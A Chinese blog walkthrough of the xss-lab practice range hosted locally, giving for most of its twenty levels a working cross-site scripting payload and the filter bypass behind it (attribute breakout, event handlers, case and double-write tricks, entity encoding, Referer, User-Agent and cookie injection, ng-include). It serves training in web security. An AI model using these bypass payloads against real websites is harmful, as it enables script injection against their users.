XSS靶场通关详解

前言

这里作者采用phpstudy部署的xss-lab靶场,配置如下:

第一关

进入靶场后寻找页面的传参处,发现url中的name参数传了test给页面,可以在此处进行尝试xss

成功弹窗!

payload:

复制代码
<script>alert(1)</script>

第二关

可以发现第二关是表单的传参点

尝试失败,意识到第二关开启了拦截

查看网站源码发现被转义

查看源代码发现输出的str被编码了,但是input标签中的str没有被编码,因此我们最终需要把input标签进行闭合

此时我们可以构造payload闭合input标签

payload:

复制代码
"><script>alert(1)</script>

第三关

使用第二关的payload发现全部被转义

补充一下htmlspecialchars函数的用法,这个函数可以将输入的特殊字符进行html实体编码

查看第三关源码发现这个函数没有加参数,所以只是对双引号和特殊字符进行编码,没有对单引号进行编码

所以可以尝试使用单引号进行闭合,后面的也不能出现标签了(因为标签的<>会被编码)单引号闭合属性之后可以对input标签单独写一个属性进行弹窗。

payload:

复制代码
' onclick='alert(1)'

第四关

将第三关的payload打上去,查看源码发现前面多了一个双引号

尝试使用"进行闭合,直接弹窗

payload:

复制代码
"' onclick='alert(1)'

第五关

使用第四关的payload进行尝试,发现事件被加_,此时给input标签增加属性这条路走不通了,可以尝试使用a标签

使用a标签之前需要将input标签进行闭合,可以使用"'>进行闭合,然后增加a标签

点击此处即可弹窗

payload:

复制代码
"'> <a href='javascript:alert(1)'>

第六关

将第五关的payload输入发现href增加了_

可以尝试进行大写绕过过滤

payload:

复制代码
"'> <a HREF='javascript:alert(1)'>

第七关

输入第六关的payload,发现其中的href和script都被替换了,可以尝试进行双写进行绕过

payload:

复制代码
"'> <a hrehreff='javascscriptript:alert(1)'>

第八关

输入第七关的payload,发现将我们输入的内容作为了a标签的href值

尝试javascript:alert(1),发现被编码了,尝试使用

编码后成功弹窗

payload:

复制代码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

第九关

使用以上payload发现不能用,提示不是合法链接,输入http://baidu.com即可,说明此输入框中要输入http的合法链接

此时可以使用js中的注释符,将合法链接添加在注释中从而造成弹窗

payload:

复制代码
javascript:alert(1)//http://www.baidu.com

将注释符前面的部分进行编码,否则还是不合法的链接,一下为编码后的payload:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com

第十关

尝试刚刚的payload发现不起作用,查看源码发现有三个隐藏的input框

尝试将值传给这三个隐藏的标签,执行以下url

复制代码
http://127.0.0.1/xss/level10.php?keyword=1&t_link=2&t_history=3&t_sort=4

发现第三个标签的值被修改了

此时可以先将value值进行闭合然后添加onclick进行弹窗,由于后面将它隐藏了,可以在前面进行显示出来

payload:

复制代码
http://127.0.0.1/xss/level10.php?keyword=1&t_sort='" type='text' onclick='alert(1)'

第十一关

尝试payload发现不行,隐藏标签也不行,但是有一个t_ref标签(联想到了referer)是存放着上一关的payload,可能存在xss

返回上一关进行抓包,在referer中插入payload进行xss或者使用hackbar修改referer

payload:

复制代码
'" type='text' onclick='alert(1)'

第十二关

跟11关类似,这里的referer改为了user-agent,所以在ua尝试进行xss

payload:

复制代码
'" type='text' onclick='alert(1)'

第十三关

跟11和12关类似,这里换成了cookie

payload:

复制代码
user='" type='text' onclick='alert(1)'

第十四关

本关出错了,直接打15关即可

第十五关

本关需要用到一个新的属性

AngularJS ng-include 指令详解-CSDN博客

可以尝试让其包含第一关,这样第一关的xss可以直接用在这里

onmouseover事件是鼠标移动到元素上会触发弹窗

payload:

复制代码
http://127.0.0.1/xss/level15.php?src='http://127.0.0.1/xss/level1.php?name=<img src=1 onmouseover=alert()>'

第十六关

发现本关将空格进行了编码

尝试使用回车符替换空格进行绕过,回车的url编码是%0a,使用%0a替换%20即可

payload:

复制代码
<img%0asrc=1%0aonerror=alert(1)>

第十七关

embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容(现在不太常用此标签了)

思路:闭合前面的src标签然后添加事件属性

payload:

复制代码
' onmouseover=alert(1)

第十八关

跟上一关一样

第十九关

这两关涉及flash触发的xss漏洞,现在 flash 技术全面停止使用了,所以就不做了

第二十关

这两关涉及flash触发的xss漏洞,现在 flash 技术全面停止使用了,所以就不做了

相关推荐
深圳市恒星物联科技有限公司1 小时前
水质流量监测仪:复合指标监测的管网智能感知设备
大数据·网络·人工智能
爱吃生蚝的于勒1 小时前
【Linux】进程信号之捕捉(三)
linux·运维·服务器·c语言·数据结构·c++·学习
The森1 小时前
Linux IO 模型纵深解析 01:从 Unix 传统到 Linux 内核的 IO 第一性原理
linux·服务器·c语言·经验分享·笔记·unix
期待のcode2 小时前
Redis的主从复制与集群
运维·服务器·redis
翼龙云_cloud2 小时前
腾讯云代理商: Linux 云服务器搭建 FTP 服务指南
linux·服务器·腾讯云
科技块儿2 小时前
2026年我会推荐哪些IP归属地查询网站?
网络·ip地址·ip归属地·运维工具·网络工具·实用网站·2026工具推荐
REDcker2 小时前
gRPC开发者快速入门
服务器·c++·后端·grpc
米羊1212 小时前
已有安全措施确认(中)
网络
江湖有缘3 小时前
零基础入门:使用 Docker 快速部署 Organizr 个人主页
java·服务器·docker
迎仔3 小时前
A-算力中心网络隔离总览:数字世界的“酒店房间“
网络